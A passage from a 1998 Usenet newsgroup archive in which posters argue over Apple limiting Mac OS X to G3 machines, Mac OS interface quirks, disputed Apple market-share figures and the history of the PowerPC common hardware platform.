a few more years is just a way to annoy formally loyal customers. If
time is of the essence, then develop OS X for the G3 line first, but
follow with compatibility for older machines. None of us knows what it
would really cost or how long it would really take, but with the work
already done on Rhapsody, I'm in the camp that thinks a couple of months
at most.
> All this whining about the new OS only supporting the G3's is reminiscent
> of when Apple decided to dump the Apple IIgs and go totally with the Mac.
It's not even faintly the same thing. The Apple II used a completely
different processor than the original Mac. And the 680x0 machines you
mention also use a different CPU. All of the code would ahve to be
different to run on more than one processor. And then applications would
all have to come in two flavors.
All of the power macs use the PPC chip. All of the PPC chips since
the PPC601 have the same instruction set. It's the instruction set
that really defines compatibility of software across different
CPU's. True, there's some relevant variation in motherboard
logic, but the G3 power macs arent' going to stay the same forever
either. That'll start changing soon too. And motherboard logic
only affects how you write the OS (if it's written right) not how
others write applications.
The formula for Apple's success has always been to offer better machines
at good prices. The G3 power macs are good machines and they're priced
nicely. Surprise! They're wildly successful. Most of the Performa
models that Apple offered were garbage. They didn't sell well. I
don't think the problem was the confusing array of models. I don't think
the buying public was as stupid as Apple thinks. I think they were
smart. Apple's affordable models were flawed. They had slow busses
or narrow busses or lousy video or no expansion options on a machine
that was already stripped to the bone.
What scares me about the appearance of Job's current policies is that
it makes it easy for Apple to return to those former days when they
offered us a bunch of affordable lousy models, or one really super
expensive but decent model, and we had to pick one, or run a truly
inferior OS. The first step on the path to returning to those days
is to abandon all of the truly flexible and expandable machines Apple
and the cloners sold us over the last couple of years.
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 24 Jul 1998 14:51:11 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu>
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On Fri, 24 Jul 1998, Dennis SCP wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > You dismiss the "Trash Can thing" too quickly. The user should not have to
> > modify his behavior or have to spend time learning a behavior because of
> > some quirk of the OS when it could be done to be immediately intuitive and
> > quick.
>
> What is there to learn about the "Trash Can thing" for new users?
> - A friend throws your ZIP in the trash.
> - You punch him in the head for deleting your information.
> - He says 'For one dollar I will recover your data'
> - You say 'No way, I'm gonna beat you up'
> - He says 'Alright, I'll do it for free' and pops the zip back in.
> So you learned the hard way that throwing someting in the trash does not
> always erase it. That is just an odd quirk, you don't have to modify
> your behavior because of it.
Yeah, yeah.
The whole way of mounting and unmounting disks is not quite right in the
Mac OS.
Eject is one way of unmounting and ejecting a disk (on Mac OS 8... on
System 7 and earlier, it only ejects, but keeps it mounted). Why is it
in the Special menu? That doesn't make a lot of sense.
Put Away is another way of unmounting and ejecting a disk. Why is it
called "Put Away" and why is it under the file menu? That doesn't make
much sense either (for mounted volumes anyway).
Dragging to the trash is a non-intuitive action that users are initially
scared of. Why pick a way to handle a UI issue with something that scares
the user the first time? This doesn't make much sense.
About the only thing that makes sense is the context sensitive menu that
you get when you do a control click on a disk icon. Control clicking isn't
terribly intuitive though, and Apple still seems to refuse to ship a 2
button mouse even though those have been available for years and would be
useful.
I like the idea put forth by Forrest (I forget last name). There is a
shelf where mounted volumes and devices (like floppies) can be mounted.
When a floppy is inserted, the floppy drive icon changes. In order to
unmount and eject the floppy, the user simply has to drag to an icon near
the bottom of the screen. (I don't remember what he suggested as a good
unmount icon, but perhaps a small picture of the action would do along
with an appropriate label).
This does several things. It creates a standard place where all volumes
get mounted that is separate from documents and folders. (This could be in
addition to the Mac desktop, not necessarily instead of.) It presents an
obvious mechanism for unmounting and ejecting a disk.
> > I would like to see a more obvious indication of the foreground
> > application. The current application menu does not go nearly far enough.
> > The new menu in Mac OS 8.5 does better, but is still not enough. This is
> > an issue that bites a lot of people and even gets me occaisionally.
>
> Maybe you could use GoMac; to get those big program buttons at the
> bottom. Just an idea: A control panel that creates a background picture
> with a triple-sized foreground application icon inbedded in the texture.
I've never used GoMac. I don't think that Apple should be relying on 3rd
parties to fix its UI flaws.
The NeXT application tiles were nice. Something like that with a name on
the tile might be a good solution. The foreground application's tile
should be obviously different (in such a way to indicate that it is the
foreground). Windows' taskbar is okay. It could be better though. Apple
could create something better.
> > The U
> > of I Macs in the public labs have a program that asks the user whether to
> > quit when all the windows in a program are closed. This is a terrible
> > solution to something that could be addressed with a little thought.
>
> This would seem a pre Windows98 solution, when people didn't realize
> that they opened more and more programs while working and didn't know
> why the OS got slower and slower. I never noticed that this was a
> problem on the Mac. (Is it realy a problem??)
It is a problem on both systems, but more so a problem on the Mac. An
application takes memory and on the Mac nearly always takes some processor
time even if it is normally relatively small.
That solution I mentioned is terrible and would be at least partially
addressed by a more obvious indication of the running applications.
I don't know how well Mac OS 8.5 really addresses this. What saw didn't
look like a very good solution, but I suppose I should wait until I can
play with it some.
> > The file system type handling is not a minor issue. I have been annoyed by
> > this many times before as have many other Mac users. Just because I can
> > use ResEdit to fix the issue does not mean that there is a no serious
> > problem. Windows is worse, but that's no excuse for the Mac OS.
>
> This would be fixed with a better internetconfig database.
It would be helped, but not entirely fixed.
> As a beginner I found programs as FileTyper Lite too confusing, an
> overkill on options. Why don't these programs just popup an hierarchical
> file database and an available creator programs popup? Grmbl! Now I use
> 'Same As' and spend time on hunting down a similar file. Since using QT3
> I noticed that text files saved out of MacSoup (text reader, so any
> pictures must be saved and be expanded) that end in '.jpg' change to QT
> pictures <sigh> sure there is a jpeg inside but QT doesn't get it out,
> to make things even worse my freeware decoder only recognizes text
> files, I had to rename, and had to use FileTyper Lite to have a look at
> a picture someone posted. Just think of what novice user must go through
> while nothing is broke... Apple must improve GetInfo.
You can turn that feature off in QuickTime. I don't find it an adequate
solution. It makes the Mac almost as clunky as Windows with its
determining files based on the name, but intoduces inconsistancies with
the behavior of other files.
> But is this a UI fault? Well, if you claim GetInfo should be able to let
> you fix it then, yes it is. But the way types work (pretty good, but not
> perfect) is not a UI issue.
Yes it is a UI fault! The user should never have to interact with this
portion of the file system. As I've suggested before, something that would
leapfrog both the Mac OS way and the Windows way would be to actually poke
into the file and determine its type. I'd bet this could be done. There
would be no reliance on codes or the file name determining the type of the
file. The type of the file is already defined by the contents of the file
itself.
> Do you have any real complaints besides the Trash non-issue?
> My personal Mac bad UI list:
> - Broken Aliases cannot be repaired.
This is definitely annoying.
Also annoying is the inability to move a file/folder from one volume to
another (just copy and later delete the original) which is somewhat
related.
> - Clock settings not found near the clock.
The menu bar clock shouldn't be there unless it actually drops down a
submenu. I've complained about this a couple times before. The submenu it
drops down could be used to provide means to modify the date and time.
<snip more UI complaints>
> - You must hold command to keep windows from poping to the foreground
> while moving. This is unnessesery as clicking windows to the front is
> more logical.
I'm not sure I understand this one. It's the addition of that second
sentence that isn't clear to me.
> - While dragging, the arrow changes to tell you what will happen before
> you drop. But it does not tell you when it will undo the drag (when
> dropping on the empty menu bar)
Not being able to drag something under the menu bar is a little annoying
too.
> - When windows are auto-opening moving away from the collection of
> windows closes them all. This is stupid as one Window can obscure all
> other windows, which makes moving back one window an impossibility.
It's not exactly stupid. It's caused by opening the window centered on the
pointer. A greater effor might be made to keep background windows open,
but they shouldn't be moving around to do this since the user should be
able to go back to a particular level and not have to search for it since
it moved out of the way.
> - Trashing a volume to the trash does not give you the option to erase
> it. (There you go:-)
:)
> What's more? Share your litle frustrations with the group...
More? Okay. Let me try and come up with some.
No undo in the Finder except for file renaming. (This is a big one I
think.)
No moving of files across volumes (mentioned above).
No quick way to get to higher level folders in the heirarchy if their
windows have been closed. (Yeah. I know command-click on the title...
that's not good enough).
No reorderable or resizable list views. I prefer to have the Size
column first, then Kind, then Date. I can't do that with Mac OS 8.
The Apple Menu screws up when I have several aliases to drives in my
Apple Menu (I use MenuChoice instead now... perhaps this will be fixed in
Mac OS 8.5). Using Apple Menu Options, the submenu brought down may show
the contents of another disk or nothing at all. Sometimes when selecting a
file or an application, the start up drive window opens instead no matter
what I select. This is a big issue with me though I have a 3rd party
solution.
Clicking and dragging the resize tab of a background window moves the
window (not resizes it).
Can't script TCP or PPP configuration change.
The configurations for TCP and PPP are in two separate Control Panels.
PPP _requires_ a 5 second delay after a busy signal. (Which can be gotten
around with ResEdit, but whenever you modify the preferences again, you
have to change this back.)
There are a whole slew of things relating to multitasking which I won't
mention since Rhapsody and Mac OS X are supposed to fix them.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 16:19:21 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu>
References: <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com>
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On Fri, 24 Jul 1998, Michael M. Eilers wrote:
> In article <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Now Apple is planning to drop support for machines that are only 1 year
> > old. This sets a precedent. While I do not _know_ that Apple will do that
> > again, it makes the possibility much more likely at the very least
> > psychologically.
>
> "It makes the possibility much more likely at the very least psychologically."
>
> I don't want to belittle this stamenet, becuase it may have been something
> you just tossed off as you wrote, but this isn't exactly the sort of thing
> a purchaser could hang his hardware buying schedule on, correct?
People are people. The weighing of one absolute fact against another is
fine when you have all the facts. People don't tend to work that
way in general. Particularly people go on hunches, and feelings when they
don't have all the facts. This decision by Apple whether you like it or
not, whether you think it should or not, _will_ weigh into any choices
made by a lot of people.
> > With this in mind, I have to weigh the risk with the benefits I see to
> > staying with the platform. If I judge that the risk outweighs the benefits
> > for me, this one move by Apple will mean I leave the platform.
> >
> > Are you saying that this should have _no_ bearing on a decision to go or
> > stay with the platform?
>
> Not at all! But I am saying that if you are willing to attribute such
> actions to a future Apple about an OS that doesn't exist yet, then you
> fiath in the company is already shattered and you'd better move to
> microsoft/NT, if having the latest and greatest OS run on your hardware is
> totally critical to you.
My faith in Apple was shattered years ago. All I've been hoping is that it
wouldn't do something that would kill the platform too quickly or that
whatever boneheaded thing they decide wouldn't cost me significantly more
money. While I believe that the Macintosh provides enough value, I will
stay with it despite Apple. Apple can screw that up for me, and I fear
that they will do so with Mac OS X.
> The majority of Mac users (and Mac power-users)
> probably aren't going to expect Apple to turn from a company that
> supported 13-year backward compatibility to a company that obsoletes its
> hardware once a year. If you really, honestly think Apple is going in that
> direction, then by all means, exit to the left.
I will when I see it. In the mean time, I will campaign against it.
> > It is not a matter of panicking. It is a matter of a person determining
> > whether he wants to continue investing in Apple products.
>
> Do I need to repeat this old saw, so often mentioned on this group?
>
> *Computers are not an investment!*
*BULLSHIT!*
If the only purpose of the investment is to get something out of selling
the computer, then you're right. That is _not_ the only purpose of having
a computer. The return does not come from its resale value, but from the
use of it as a tool to get whatever it is you want done. If the return is
personal entertainment or a specific product or anything the owner deems
valuable, then the computer was a sound investment so long as the owner
thinks it was worth at least as much as it cost.
> They never have been! They only degrade in value, they never go up. They
> age unpredictibly--who would have predicted that the 604e's performance
> life would be so short?
The 604e is still faster than PPC 750s in some ways! This prediction has
not come true yet!
> > I see few people
> > saying that they are forsaking the platform _now_ because Apple might
> > follow through on this decision. I definitely do not advocate this
> > action. I see people saying that they will not continue to support Apple.
> > I do not advocate this either, but I am saying it almost a given that it
> > will happen. I will probably be one of them. Note that I say probably.
> > When Mac OS X comes out, I will decide. Right now, this _is_ an issue for
> > me in deciding my next computer purchase (which will be in the shortly
> > before Mac OS X time frame).
>
> Well, it shouldn't be. My rule has always been "buy the fastest/latest
> machine you can possibly afford."
How nice for you.
> If that machine won't run OS X, well
> then I'll wait until I buy the next one. OS X is not *critical*--it is not
> a make or break piece of software. For those users to whom memory
> protection, speed and crashproofness is essential, they have already moved
> to NT.
Many Mac users have been wanting these features for a long time. Apple has
been working on this for 10 years. Because the Mac OS has had a good UI
and has generally been easier to use, we have _tolerated_ its
architectural shortcomings. If we have to wait too long while other OSes
continue to improve, we will switch with few compunctions. Dropping
support for older machines will just be another reason added to the pile.
> > > Sorry, but one data point in a list of hundreds of data points to
> > > the contrary is not signifigant. Nor does one data point constitute a
> > > trend.
> >
> > Do you have a hundred sources that indicate that Apple's customer loyalty
> > is increasing? Do you have a hundred current sources of information that
> > indicate that Apple's customer loyalty has not declined?
>
> Well, let's put it this way: Apple was Number One in that survey for 6 or
> 7 years running. Now they are Number Two once. Which one constitutes a
> trend?
That doesn't mean anything. The number 2 could have been declining right
along with Apple and Apple would have stayed number 1. Because Apple has
been number one does not mean that its customer loyalty must have
increased or even been stable.
> > Poppycock. Do you _really_ think if Apple really made a decision like that
> > that it would inform us of it? Don't you think that Apple would come up
> > with another excuse? That is not the only way to validate the idea that
> > the decision was motivated by a wish to sell more hardware.
> >
> > There is the fact that these machines are perfectly fast enough to run Mac
> > OS X. They will already be able to run Rhapsody on which Mac OS X is
> > based.
>
> Yes, but as many other threads on this discussion have mentioned, the
> speed of the hardware is not the issue, not even for a second. The issue
> is, and has been from the beginning, does Apple have the time to make OS X
> work on all this older hardware, and then test, debug, and troubleshoot
> it? No, they do not. By most people's estimates I have read on this group
> this would add an extra year to the development of OS X. Are you willing
> to wait that extra year? Do you think Apple can afford it?
I _really_ doubt it would take an extra year. That is _way_ off.
Since early '97, Apple has _ported_ Rhapsody from another hardware
platform, created the Blue Box, updated the Yellow Box, updated the BSD
layer, updated the kernel, replaced most of the NeXT UI with the Mac UI,
integrated Java, ported QTML which includes QuickDraw 3D, _and_ has
managed to support a wide range of PCI PowerMacs including PowerMac G3s
and _even_ Intel hardware!
It did all this through two massive restructurings, a management change,
updates to the Mac OS, new hardware releases, creating new hardware
(iMac and Gossamer II/G3 Pro), releasing a new version of QuickTime on
both the Mac OS and Windows (and Rhapsody, but is related to what I
mentioned above) and through work on another major release of the Mac OS
(8.5).
I cannot believe that adding support for machines already supported by
Rhapsody would really take another year. Longer, possibly, but not nearly
so much as a year.
> > The changes in Mac OS X would make it _easier_ for Apple to support
> > these machines.
>
> Do you have any evidence of this assertion? It contradicts much that I
> have read on MacNN and Macintouch.
Mac OS X uses a Mach kernel which is already easy to bring to other
hardware platforms. This is a microkernel instead of Rhapsody's
monolithic kernel which should make it much more modular making it
necessary to modify only those modules needed for support for the older
machines. The driver kit (well I/O Kit) is supposed to make it easier to
write drivers than Rhapsody. There is already a version of what sounds a
lot like this kernel being used in MkLinux which already supports a wide
range of PowerMacs (including NuBus).
Contrary to what people may think, the whole OS does not need to be
rewritten and tested for pre-G3 Powermacs. It is mostly the kernel. Nearly
everything else interfaces with that. The high level parts of Mac OS X and
Rhapsody are very well abstracted from the hardware. This part of why
OpenStep was able to be ported to many different hardware and OS platforms
by a team with resources much smaller than what Apple has now.
> > Supporting these machines would not make Mac OS X slower
> > or less efficient.
>
> Wrong--it would make Mac OS X slower to market, signifigantly. Even making
> OS X support all those third-party G3 upgrade cards would be a real burden
> on resources.
Poppycock. Nothing has to be done to support those 3rd party G3 cards. By
creating support for the motherboards, there is by default support for the
G3 cards. Someone would have to write a driver to enable the backside
caches and modify some of the extra things that PPC 750 upgrade cards
allow, but they already have to do that for the current Mac OS.
> And who is to say that OS X.5 won't support those upgrade cards, or even
> older PCI Macs? Perhaps after the initial release Apple will spend some
> time and do that, just to be nice.
Maybe. I want to pressure Apple to do so. Right now Apple shows no
indication of doing so.
> > While "because we want to sell more hardware" is not the only reason for
> > this decision left, it is definitely a possible one.
>
> Yes, and an understandable one. There is something strange about Mac
> users: we tend to drop $3000 on a Mac once, then hold on to it forever,
> while our PC colleagues spend $1200 a year upgrading and modifying their
> machines constantly. I don't see any problem with Apple wanting to make
> their new hardware that more attractive.
Apple doesn't do anything to make the OS more attractive either. You said
a lot of your friends bought new machines just for Windows 98, well Apple
has never given us an incentive to do this. Doing this to Mac OS X goes
about it in the wrong way.
Mac users don't give much of a damn about the hardware. It's the OS. The
hardware is an expensive route to the OS. Once they have the OS though
Apple does nothing to persuade users that they should have new versions.
Apple did a little better with Mac OS 8 than in the past, but it could do
better still.
That said, it would not be good for Apple to drop support for these recent
machines. Apple needs to address the 68k owners. It needs to get to the
owners of LC IIIs and Classics and such. Obviously faster hardware is not
compelling enough by itself. Apple has advertised the hardware (and
where not the hardware, the platform) quite a bit. Apple needs to push the
OS and for users whose machines are indeed too slow or whose architecture
is outdated, use the OS to bring them to new hardware.
Apple also needs to push games. Games can fuel hardware purchases since
they require faster and faster hardware to run them acceptably. Apple has
poopoohed games for a long time. When it hasn't actively discouraged them,
it has been totally ambivalent about them. Apple needs to be pushing games
a lot more.
Apple can profit off the obsoletion of old hardware even through the OS. I
have little problem with that up to a point. Dropping support for the
pre-G3 PCI PowerMacs goes past that point. I'm even bothered by the lack
of support for the NuBus PowerMacs, but I can at least understand that.
> It would benefit the entire
> Macintosh commounity of more of us were running high-end hardware, and you
> certainly can't accuse Apple of overcharging for their machines anymore.
I certainly can.
Apple is doing a lot better than it used to as far as that goes though.
> > Furthermore, the motivation does not matter much anyway since the effect
> > is the same either way. If Apple would say it is considering support for
> > these machines, many more people would be satisfied. Apple has futzed
> > around with getting a new OS out for many years now. This is known by a
> > lot of people. Many people have wanted a new "advanced" OS even if they
> > did not specifically by a machine to be able to run it (though some have).
> >
> > There has been significant negative reaction to Apple's decision.
>
> I agree with all of the above. But I don't agree that this negative
> reaction is enough to really hurt Apple. For the majority of Mac users,
> 8.x and above and their 604e will be just fine. For a pool of power users,
> G3/G4 and OS X will be fine. No crisis. Look at how many Windows 3.1/95
> users there are in the world, utterly complacent. NT 5 is not aimed at
> them; OS X is not aimed at Performa/7.6.1 users.
I think Mac OS X could be aimed at Performa users. Do you think Windows 95
would have sold as well as it managed to if Microsoft had been silent
about it? It didn't sell as spectacularly as MS had hoped, but it sold
better than it would have had MS not pushed it at all.
Apple has been silent about its OS (virtually). Apple has not marketted
the OS in nearly the way Microsoft has and it shows in how Mac users have
bought machines and OSes. (All IMO of course.)
> > > No, they will all be 4 years old (and perhaps older) in technology
> > > terms--the 9600/350 motherboard is almost identical to the very first PPC
> > > motherboards.
> >
> > It is also faster than a lot of the PowerMac G3s (particularly the iMac),
> > and is more expandable by far (particularly the iMac).
>
> The 9600/350 is NOT faster than the iMac by any means. The 9600 barely
> beats 800 in Mac Bench (I've run the test myself on one) while the slowest
> G3 gets 755 and the iMac 900-1000. The G3/266 gets 918, and that machine
> is *cheaper* than the 9600 by $1000. The only reason to buy the 9600 right
> now would be a dire need for 6 PCI slots.
Forget MacBench for a moment and look at some of the application
benchmarks. See www.xlr8yourmac.com. There are numerous comparisons
between 604e and 750 based PowerMacs there. The PowerMac 9600/350 is
faster than a lot of the PowerMac G3s out there. It will be faster than
the iMac. The only reason the iMac gets such high scores is because it has
no ROM. When Rhapsody and Mac OS X come out and they eliminate the
reliance on the ROM (either through loading from disk into RAM as in the
iMac, or as in the hardware on the 9600), the 9600 will be _much_ faster.
> > That the market for Mac OS X related software (particularly Yellow Box)
> > will be smaller than with support for these machines is speculation, but
> > is very likely.
>
> Have you forgotten that *all* current software will run on OS X in the
> Blue Box?
No I have not forgotten. The people who buy Mac OS X Server (if Apple
prices it to be affordable by us little people) will be able to run these
in the Blue Box. Mac OS X will greatly enhance the Blue Box and that will
be unavailable to Rhapsody/Mac OS X Server users.
> And have you forgotten that making an existing application
> Carbon-compiant will be *much* less expensive than writing an all-new
> version (as Rhapsody would have required.)
No, I have not forgotten. The disadvantages to Carbon applications on
Rhapsody and Mac OS classic are the same as with the Blue Box on Rhapsody.
That is part of the reason that Rhapsody would not have done well.
> The developer market for Mac OS
> has been *increased* by Mac OS X's introduction, not decreased. That was
> the whole point!
The developer market is increased by Mac OS X's introduction, but not as
much as it would be if Mac OS X were supported on a wider range of
machines.
> > Mac OS developers seem to have been happy with the move to Mac OS X not
> > because of dropping support for pre-G3 PowerMacs, but because it allows
> > them to largely keep their development investment in the Mac OS.
>
> Of course! This is EXACTLY the reason OS X takes the form that it does.
Yes. I understand that.
> > I wonder how happy Yellow Box developers are.
>
> Their software will still work on OS X; they will just lose their
> development platform, and probably won't get Yellow Box for Intel anymore.
That kinda places into question what Apple's future API is doesn't it.
Carbon which is based on the same old crappy Mac OS foundation is hardly
modern. It presents _no_ signficant advantages over going with Windows.
> > Would you speculate on how developers targetting other markets who
> > invested in machines specifically for Rhapsody feel?
>
> Well, screwed. But that's the nature of the business, really. How do you
> think all of the PC software developers feel who pegged an upgrade or a
> new product to the release date of Windows 98, and were forced to sit on
> or release their products without the final 98 specs? Getting jerked
> around by the powers that be is a programmer's daily occurrence.
Which will only be tolerated so far. In the case of Windows, the market is
large enough that it will probably be tolerated quite far. It's not the
same for the Mac market.
> > Heh. What a coincidence. That's where I sit as well.
> >
> > I never said that there would be anything like a "grassroots rebellion". I
> > never talked about "legions" of Mac user leaving the platform. I said that
> > there would be people (I think a significant number though nowhere
> > approaching a majority) who would abandon the Mac platform because of
> > Apple's decision. I provided some of those reasons.
>
> Wel, if it isn't going to be a rebellion, then what's the big deal?
The big deal is that it is one more check against Apple when it will do
the most harm. It won't be a rebellion of massive proportions, but I bet
it will be noticed. As I've said before, there has been great negative
reaction to this decision whether you think there should be or not.
> As I
> have cited before, power-users who felt that having a "modern" OS with
> memory protection and multiprocessing was absolutely critical to them have
> already moved on to NT (I can cite three examples within my circle of
> friends, but I know how you feel about anecdotal evidence). Most Mac users
> I know are totally oblivious to the whole OS soap-opera. So that leaves a
> very few people who are stuck in the middle and getting heated about it,
> here on Usenet.
They aren't all just here, but to support that, I'd just have to bring
more anecdotal evidence into the picture. :)
> > I am not pushing any cause here. I do not think it would be a good thing
> > for the platform to have many people abandon it. I want Apple to support
> > older PowerMacs. I want to make clear the reasons that I and some other
> > people may forsake Apple if it does this.
>
> See, here's the problem, wrapped up in one word: "forsake." Apple is not a
> religion; it is not a cult; it is not a benevolent god. Platform choice is
> a personal issue based on what you need to do with a computer to get the
> job done, right now and in the near future. This decision is tainted by
> legacy spending, i.e. how much you already have invested in the issue. But
> it all comes down to money and time, not some mythical venture into the
> territory of "right" and "wrong" or "light" and "the dark side."
That doesn't change how people think of it, and forsake is not meant to
have any morally charged connotation here (though perhaps that's how it
comes off). If people deem the money and time to be on the border, this
decision will push them over.
> Apple
> hasn't "forsaken" anyone, because Apple is a buisness, not a god that one
> day cures your blindness and the next day withers your crops.
I've never said nor implied anything of the sort.
> Mac OS X on
> G3 only is a buisness decision, nothing more, nothing less. It is not a
> test Apple created to measure your loyalty, or a hoop to see how many will
> jump through it.
That doesn't change how some people will view it, and the business
decisions Apple makes affect more than just Apple. The effect here may be
to push away users when Apple could with a little more effort keep them
and stand a chance at bringing even more in.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Date: Fri, 24 Jul 1998 16:33:23 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980724162806.5179A-100000@ux8.cso.uiuc.edu>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net>
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On Fri, 24 Jul 1998, Steve Sullivan wrote:
> Ok, this is not anti Apple or a troll, so could someone explain this...
> From what I have heard, worldwide computer sales have been RISING.
What you heard was retail sales of computers which is not worldwide sales
from all places.
> Thus,
> to keep THE SAME market share as a previous quarter, if the number of
> computer sale doubles, you have to sell DOUBLE the ammount of computers to
> keep THE SAME marketshare.
> 1) the worldwide computer market has steadily increased over the last year.
Yes.
> 2) apple has sold LESS computers than the same quarter last year
A little less (644,000 as opposed to 650,000).
> 3) the same quarter last year apple's market share was what, %5, %6 worldwide?
Could be.
> 4) total computer sales have increased since then
Yes.
> :. Apple's market share is less than %5, or %6, or what it was q3 of last year
Worldwide? Yes.
> :.Apple's market share IS NOT %9
Worldwide? Yes.
> Yet, from macosrumors, as well as other sites:
>
> Apple market share up to 9.4%!
>
> According to a recent report from PC Data, Apple's market share has
> risen from 4% earlier this year to 9.4% in June!
This is US retail sales. While the size of the overall Mac market hasn't
increased (but decreased by a bit from last quarter), the sales to
specific channels have increased. One such area is retail.
Note that to get an increase in this area with no increase in overall
sales, means sales in other areas much have declined.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Date: Fri, 24 Jul 1998 13:19:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407981319200001@wil50.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <6pac3m$anv$1@nnrp03.primenet.com>
In article <6pac3m$anv$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
> : Your argument about the hardware standard is completely bogus. First, all
> : of these supporters dropped their PPC OS before CHRP was ready. Second,
> : any one of them could have made CHRP boxes. Why is it that they're all
> : relying on Apple to do so?
>
> : Your attempts at revisionism are sad. There's no way that it's Apple's
> : fault that all of these companies failed to live up to their promises.
>
> Maybe you weren't around then, but the original AIM press releases
> promised a common hardware platform. This was way before CHRP. The PREP
> specification was supposed to fulfill the common hardware promise, but
> negotiations borke down.
>
> I wasn't in the room, so I can't say who blocked the deal. People from
> the PC side wanted to build something much like a PC and Apple wanted to
> build much like a Mac II.
>
> I would say, looking back without revisionism, that the PPC as a commodity
> platform was doomed by that early failure of PREP.
That may be true.
But again, why are you trying to blame it all on Apple-especially when you
admit that you don't know why it failed?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: telam@iquest.net (Tom Elam)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Date: Fri, 24 Jul 1998 20:28:04 GMT
Organization: HUH?
Message-ID: <35b8ecbc.26967836@news.newsguy.com>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net>
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On Fri, 24 Jul 1998 11:54:54 -0700, Macghod@concentric.net (Steve Sullivan)
wrote:
>Ok, this is not anti Apple or a troll, so could someone explain this...
>From what I have heard, worldwide computer sales have been RISING. Thus,
>to keep THE SAME market share as a previous quarter, if the number of
>computer sale doubles, you have to sell DOUBLE the ammount of computers to
>keep THE SAME marketshare.
>1) the worldwide computer market has steadily increased over the last year.
>2) apple has sold LESS computers than the same quarter last year
>3) the same quarter last year apple's market share was what, %5, %6 worldwide?
>4) total computer sales have increased since then
>:. Apple's market share is less than %5, or %6, or what it was q3 of last year
>:.Apple's market share IS NOT %9
>
>Yet, from macosrumors, as well as other sites:
>
>Apple market share up to 9.4%!
>
> According to a recent report from PC Data, Apple's market share has
>risen from 4% earlier this year to 9.4% in June!
>
> Note: Market share is not the same thing as the installed user
>base. Apple has a much larger share of the installed user base than it
>does current
> market share -- which is a measurement of how many computers are
>being sold right now under the Apple name as compared to the total number
> of computers being sold period.
You are right in concept, it's the numbers that are confusing you. The PC Data
9.4% report refers, I think, to the US retail store channel only, while the
5-6% number includes the US direct channels to corp. and individual purchasers,
not to mention the rest of the world. Joe gets his share "increase" by
comparing the 2. Apple's latest quarterly financial data included a unit sales
number of 650,000 or so boxes, which was noted to be flat against the same
quarter a year earlier. Given a 19% $Sales decline on the same time
comparision, Apple experienced a rather large drop in $/unit sold. So much for
the theory that innovation always adds value that the consumer has to pay for!
---------------------------------------------
Tom Elam
The Family Home Page is at:
http://members.iquest.net/~telam/homepage.html
The universe is not only stranger than we imagine,
it's stranger than we CAN imagine
J.B.S. Haldane
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 13:12:51 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-162.phx.primenet.com
Message-ID: <not-2407981312520001@ip-26-162.phx.primenet.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz>,
